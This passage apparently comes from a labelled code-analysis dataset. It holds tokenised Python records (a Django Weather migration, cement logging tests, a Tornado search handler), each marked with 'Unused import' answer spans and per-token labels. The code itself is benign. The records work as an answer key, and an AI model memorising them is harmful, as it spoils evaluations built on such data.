"\\u",
"direction",
"'_",
",_",
"self_",
"._",
"gf_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Char",
"Field",
"'_",
")_",
"(_",
"max",
"\\u",
"length_",
"=_",
"3_",
",_",
"null_",
"=_",
"True_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"wind",
"\\u",
"speed",
"'_",
",_",
"self_",
"._",
"gf_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Integer",
"Field",
"'_",
")_",
"(_",
"null_",
"=_",
"True_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"humid",
"it",
"y",
"'_",
",_",
"self_",
"._",
"gf_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Integer",
"Field",
"'_",
")_",
"(_",
"null_",
"=_",
"True_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"press",
"ure",
"'_",
",_",
"self_",
"._",
"gf_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Posi",
"tiv",
"e",
"Integer",
"Field",
"'_",
")_",
"(_",
"null_",
"=_",
"True_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"press",
"ure",
"\\u",
"state",
"'_",
",_",
"self_",
"._",
"gf_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Char",
"Field",
"'_",
")_",
"(_",
"max",
"\\u",
"length_",
"=_",
"1_",
",_",
"null_",
"=_",
"True_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"visi",
"bilit",
"y",
"'_",
",_",
"self_",
"._",
"gf_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Char",
"Field",
"'_",
")_",
"(_",
"max",
"\\u",
"length_",
"=_",
"2_",
",_",
"null_",
"=_",
"True_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"location",
"'_",
",_",
"self_",
"._",
"gf_",
"(_",
"'",
"django",
".",
"contrib",
".",
"gi",
"s",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Point",
"Field",
"'_",
")_",
"(_",
"null_",
"=_",
"True_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"min",
"\\u",
"tempe",
"ratur",
"e",
"'_",
",_",
"self_",
"._",
"gf_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Integer",
"Field",
"'_",
")_",
"(_",
"null_",
"=_",
"True_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"max",
"\\u",
"tempe",
"ratur",
"e",
"'_",
",_",
"self_",
"._",
"gf_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Integer",
"Field",
"'_",
")_",
"(_",
"null_",
"=_",
"True_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"uv",
"\\u",
"risk",
"'_",
",_",
"self_",
"._",
"gf_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Char",
"Field",
"'_",
")_",
"(_",
"max",
"\\u",
"length_",
"=_",
"1_",
",_",
"null_",
"=_",
"True_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"poll",
"uti",
"on",
"'_",
",_",
"self_",
"._",
"gf_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Char",
"Field",
"'_",
")_",
"(_",
"max",
"\\u",
"length_",
"=_",
"1_",
",_",
"null_",
"=_",
"True_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"suns",
"et",
"'_",
",_",
"self_",
"._",
"gf_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Time",
"Field",
"'_",
")_",
"(_",
"null_",
"=_",
"True_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"sun",
"rise",
"'_",
",_",
"self_",
"._",
"gf_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Time",
"Field",
"'_",
")_",
"(_",
"null_",
"=_",
"True_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"db_",
"._",
"send",
"\\u",
"create",
"\\u",
"signal_",
"(_",
"'",
"wea",
"ther",
"'_",
",_",
"[_",
"'",
"Wea",
"ther",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Migration_",
"(_",
"Schema",
"Migration_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"backwards_",
"(_",
"self_",
",_",
"orm_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Del",
"eti",
"ng",
" ",
"model",
" ",
"'",
"Wea",
"ther",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uIND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
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unused import | datafolklabs/cement/tests/core/log_tests.py | [
{
"content": "\"\"\"Tests for cement.core.log.\"\"\"\n\nimport logging\nfrom cement.core import exc, backend, log\nfrom cement.utils import test\nfrom cement.utils.misc import init_defaults\n\n\n\n\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
},
{
"content": "class BogusHandler1(log.CementLogHandler):\n\n class Meta:\n interface = log.ILog\n label = 'bogus'",
"metadata": "root.BogusHandler1",
"header": "['module', '___EOS___']",
"index": 8
},
{
"content": "class LogTestCase(test.CementCoreTestCase):\n\n\n\n\n\n",
"metadata": "root.LogTestCase",
"header": "['module', '___EOS___']",
"index": 15
},
{
"content": " def setUp(self):\n self.app = self.make_app()",
"metadata": "root.LogTestCase.setUp",
"header": "['class', 'LogTestCase', '(', 'test', '.', 'CementCoreTestCase', ')', ':', '___EOS___']",
"index": 17
},
{
"content": " @test.raises(exc.InterfaceError)\n def test_unproviding_handler(self):\n try:\n self.app.handler.register(BogusHandler1)\n except exc.InterfaceError:\n raise",
"metadata": "root.LogTestCase.test_unproviding_handler",
"header": "['class', 'LogTestCase', '(', 'test', '.', 'CementCoreTestCase', ')', ':', '___EOS___']",
"index": 20
},
{
"content": " def test_logging(self):\n defaults = init_defaults()\n defaults['log.logging'] = dict(\n file='/dev/null',\n to_console=True\n )\n app = self.make_app(config_defaults=defaults)\n app.setup()\n app.log.info('Info Message')\n app.log.warn('Warn Message')\n app.log.error('Error Message')\n app.log.fatal('Fatal Message')\n app.log.debug('Debug Message')",
"metadata": "root.LogTestCase.test_logging",
"header": "['class', 'LogTestCase', '(', 'test', '.', 'CementCoreTestCase', ')', ':', '___EOS___']",
"index": 27
},
{
"content": " def test_bogus_log_level(self):\n app = self.make_app('test')\n app.setup()\n app.config.set('log.logging', 'file', '/dev/null')\n app.config.set('log.logging', 'to_console', True)\n\n # setup logging again\n app.log._setup(app)\n app.log.set_level('BOGUS')",
"metadata": "root.LogTestCase.test_bogus_log_level",
"header": "['class', 'LogTestCase', '(', 'test', '.', 'CementCoreTestCase', ')', ':', '___EOS___']",
"index": 41
},
{
"content": " def test_get_level(self):\n self.app.setup()\n self.eq('INFO', self.app.log.get_level())",
"metadata": "root.LogTestCase.test_get_level",
"header": "['class', 'LogTestCase', '(', 'test', '.', 'CementCoreTestCase', ')', ':', '___EOS___']",
"index": 51
},
{
"content": " def test_console_log(self):\n app = self.make_app('test', debug=True)\n app.setup()\n\n app.config.set('log.logging', 'file', '/dev/null')\n app.config.set('log.logging', 'to_console', True)\n\n app.log._setup(app)\n app.log.info('Tested.')",
"metadata": "root.LogTestCase.test_console_log",
"header": "['class', 'LogTestCase', '(', 'test', '.', 'CementCoreTestCase', ')', ':', '___EOS___']",
"index": 55
}
]
| [
{
"span": "import logging",
"start_line": 2,
"start_column": 0,
"end_line": 2,
"end_column": 14
},
{
"span": "from cement.core import exc, backend, log",
"start_line": 3,
"start_column": 0,
"end_line": 3,
"end_column": 41
}
]
| []
| 1 | false | [
"[CLS]_",
"Un",
"used_",
"import_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\"\"\"",
"Test",
"s",
" ",
"for",
" ",
"cem",
"ent",
".",
"core",
".",
"log",
".\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"import_",
"logging_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"cem",
"ent_",
"._",
"core_",
"import_",
"exc_",
",_",
"backend_",
",_",
"log_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"cem",
"ent_",
"._",
"utils_",
"import_",
"test_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"cem",
"ent_",
"._",
"utils_",
"._",
"misc_",
"import_",
"init",
"\\u",
"defaults_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"class_",
"Bo",
"gus",
"Handle",
"r1_",
"(_",
"log_",
"._",
"Ce",
"ment",
"Log",
"Handler_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"class_",
"Meta_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"interface_",
"=_",
"log_",
"._",
"IL",
"og_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"label_",
"=_",
"'",
"bog",
"us",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"class_",
"Log",
"Test",
"Case_",
"(_",
"test_",
"._",
"Ce",
"ment",
"Core",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"[SEP]_",
"class_",
"Log",
"Test",
"Case_",
"(_",
"test_",
"._",
"Ce",
"ment",
"Core",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"def_",
"set",
"Up_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"app_",
"=_",
"self_",
"._",
"make",
"\\u",
"app_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Log",
"Test",
"Case_",
"(_",
"test_",
"._",
"Ce",
"ment",
"Core",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"@_",
"test_",
"._",
"raises_",
"(_",
"exc_",
"._",
"Interface",
"Error_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"def_",
"test\\u",
"unpr",
"ovi",
"ding",
"\\u",
"handler_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"app_",
"._",
"handler_",
"._",
"register_",
"(_",
"Bo",
"gus",
"Handle",
"r1_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"exc_",
"._",
"Interface",
"Error_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"raise_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Log",
"Test",
"Case_",
"(_",
"test_",
"._",
"Ce",
"ment",
"Core",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"logging_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"defaults_",
"=_",
"init",
"\\u",
"defaults_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"defaults_",
"[_",
"'",
"log",
".",
"logg",
"ing",
"'_",
"]_",
"=_",
"dict_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"file_",
"=_",
"'/",
"dev",
"/",
"null",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"to",
"\\u",
"console_",
"=_",
"True_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"app_",
"=_",
"self_",
"._",
"make",
"\\u",
"app_",
"(_",
"config",
"\\u",
"defaults_",
"=_",
"defaults_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"app_",
"._",
"setup_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"app_",
"._",
"log_",
"._",
"info_",
"(_",
"'",
"Info",
" ",
"Messag",
"e",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"app_",
"._",
"log_",
"._",
"warn_",
"(_",
"'",
"Warn",
" ",
"Messag",
"e",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"app_",
"._",
"log_",
"._",
"error_",
"(_",
"'",
"Error",
" ",
"Messag",
"e",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"app_",
"._",
"log_",
"._",
"fatal_",
"(_",
"'",
"Fat",
"al",
" ",
"Messag",
"e",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"app_",
"._",
"log_",
"._",
"debug_",
"(_",
"'",
"Deb",
"ug",
" ",
"Messag",
"e",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Log",
"Test",
"Case_",
"(_",
"test_",
"._",
"Ce",
"ment",
"Core",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"bog",
"us",
"\\u",
"log",
"\\u",
"level_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"app_",
"=_",
"self_",
"._",
"make",
"\\u",
"app_",
"(_",
"'",
"test",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"app_",
"._",
"setup_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"app_",
"._",
"config_",
"._",
"set_",
"(_",
"'",
"log",
".",
"logg",
"ing",
"'_",
",_",
"'",
"file",
"'_",
",_",
"'/",
"dev",
"/",
"null",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"app_",
"._",
"config_",
"._",
"set_",
"(_",
"'",
"log",
".",
"logg",
"ing",
"'_",
",_",
"'",
"to",
"\\u",
"console",
"'_",
",_",
"True_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"setup",
" ",
"logg",
"ing",
" ",
"again",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"app_",
"._",
"log_",
"._",
"\\u",
"setup_",
"(_",
"app_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"app_",
"._",
"log_",
"._",
"set\\u",
"level_",
"(_",
"'",
"BO",
"GU",
"S",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Log",
"Test",
"Case_",
"(_",
"test_",
"._",
"Ce",
"ment",
"Core",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"get",
"\\u",
"level_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"app_",
"._",
"setup_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"eq_",
"(_",
"'",
"INFO",
"'_",
",_",
"self_",
"._",
"app_",
"._",
"log_",
"._",
"get",
"\\u",
"level_",
"(_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Log",
"Test",
"Case_",
"(_",
"test_",
"._",
"Ce",
"ment",
"Core",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"console",
"\\u",
"log_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"app_",
"=_",
"self_",
"._",
"make",
"\\u",
"app_",
"(_",
"'",
"test",
"'_",
",_",
"debug_",
"=_",
"True_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"app_",
"._",
"setup_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"app_",
"._",
"config_",
"._",
"set_",
"(_",
"'",
"log",
".",
"logg",
"ing",
"'_",
",_",
"'",
"file",
"'_",
",_",
"'/",
"dev",
"/",
"null",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"app_",
"._",
"config_",
"._",
"set_",
"(_",
"'",
"log",
".",
"logg",
"ing",
"'_",
",_",
"'",
"to",
"\\u",
"console",
"'_",
",_",
"True_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"app_",
"._",
"log_",
"._",
"\\u",
"setup_",
"(_",
"app_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"app_",
"._",
"log_",
"._",
"info_",
"(_",
"'",
"Test",
"ed",
".'_",
")_"
]
| [
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,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,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unused import | mimecuvalo/helloworld/controllers/search.py | [
{
"content": "import urllib\n\nimport tornado.web\nfrom base import BaseHandler\nfrom models import db\n\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
},
{
"content": "class SearchHandler(BaseHandler):",
"metadata": "root.SearchHandler",
"header": "['module', '___EOS___']",
"index": 6
},
{
"content": " def get(self):\n query = self.breadcrumbs[\"name\"]\n\n content_owner = self.models.users.get(\n username=self.breadcrumbs[\"profile\"])[0]\n\n if not content_owner:\n content_owner = self.models.users.get(1)\n self.breadcrumbs[\"profile\"] = content_owner.username\n\n offset = (int(self.breadcrumbs[\"modifier\"]) if\n self.breadcrumbs[\"modifier\"] else 1)\n offset -= 1\n begin = self.constants['page_size'] * offset\n\n if query:\n if (content_owner.adult_content\n and self.get_cookie(\"adult_content\") != \"1\" and not\n self.is_owner_viewing(self.breadcrumbs[\"profile\"])):\n self.fill_template(\"adult_content.html\")\n return\n\n query = urllib.unquote_plus(query)\n resultsQuery = db.search(profile=self.breadcrumbs[\"profile\"],\n query=query, begin=begin, page_size=self.constants['page_size'])\n results = [self.models.content(**result) for result in resultsQuery]\n else:\n results = []\n\n self.display[\"page\"] = offset + 1\n self.display[\"page_size\"] = self.constants['page_size']\n self.display[\"content_owner\"] = content_owner\n self.display[\"query\"] = query\n self.display[\"results\"] = results\n self.fill_template(\"search.html\")",
"metadata": "root.SearchHandler.get",
"header": "['class', 'SearchHandler', '(', 'BaseHandler', ')', ':', '___EOS___']",
"index": 7
}
]
| [
{
"span": "import tornado.web",
"start_line": 2,
"start_column": 0,
"end_line": 2,
"end_column": 18
}
]
| []
| 1 | false | [
"[CLS]_",
"Un",
"used_",
"import_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"import_",
"urllib_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"import_",
"tornado_",
"._",
"web_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"base_",
"import_",
"Base",
"Handler_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"models_",
"import_",
"db_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"class_",
"Sear",
"ch",
"Handler_",
"(_",
"Base",
"Handler_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Sear",
"ch",
"Handler_",
"(_",
"Base",
"Handler_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"def_",
"get_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"query_",
"=_",
"self_",
"._",
"breadcrumb",
"s_",
"[_",
"\"",
"name",
"\"_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"content",
"\\u",
"owner_",
"=_",
"self_",
"._",
"models_",
"._",
"users_",
"._",
"get_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"username_",
"=_",
"self_",
"._",
"breadcrumb",
"s_",
"[_",
"\"",
"profile",
"\"_",
"]_",
")_",
"[_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"not_",
"content",
"\\u",
"owner_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"content",
"\\u",
"owner_",
"=_",
"self_",
"._",
"models_",
"._",
"users_",
"._",
"get_",
"(_",
"1_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"breadcrumb",
"s_",
"[_",
"\"",
"profile",
"\"_",
"]_",
"=_",
"content",
"\\u",
"owner_",
"._",
"username_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"offset_",
"=_",
"(_",
"int_",
"(_",
"self_",
"._",
"breadcrumb",
"s_",
"[_",
"\"",
"modifier",
"\"_",
"]_",
")_",
"if_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"breadcrumb",
"s_",
"[_",
"\"",
"modifier",
"\"_",
"]_",
"else_",
"1_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"offset_",
"-=_",
"1_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"begin_",
"=_",
"self_",
"._",
"constants_",
"[_",
"'",
"page",
"\\u",
"size",
"'_",
"]_",
"*_",
"offset_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"query_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"(_",
"content",
"\\u",
"owner_",
"._",
"adult",
"\\u",
"content_",
"\\u\\u\\uNL\\u\\u\\u_",
"and_",
"self_",
"._",
"get",
"\\u",
"cookie_",
"(_",
"\"",
"adult",
"\\u",
"content",
"\"_",
")_",
"!=_",
"\"",
"1",
"\"_",
"and_",
"not_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"is",
"\\u",
"owner",
"\\u",
"viewin",
"g_",
"(_",
"self_",
"._",
"breadcrumb",
"s_",
"[_",
"\"",
"profile",
"\"_",
"]_",
")_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"fill",
"\\u",
"template_",
"(_",
"\"",
"adult",
"\\u",
"content",
".",
"html",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"query_",
"=_",
"urllib_",
"._",
"unqu",
"ote",
"\\u",
"plus_",
"(_",
"query_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"results",
"Query_",
"=_",
"db_",
"._",
"search_",
"(_",
"profile_",
"=_",
"self_",
"._",
"breadcrumb",
"s_",
"[_",
"\"",
"profile",
"\"_",
"]_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"query_",
"=_",
"query_",
",_",
"begin_",
"=_",
"begin_",
",_",
"page",
"\\u",
"size_",
"=_",
"self_",
"._",
"constants_",
"[_",
"'",
"page",
"\\u",
"size",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"results_",
"=_",
"[_",
"self_",
"._",
"models_",
"._",
"content_",
"(_",
"**_",
"result_",
")_",
"for_",
"result_",
"in_",
"results",
"Query_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"results_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"self_",
"._",
"display_",
"[_",
"\"",
"page",
"\"_",
"]_",
"=_",
"offset_",
"+_",
"1_",
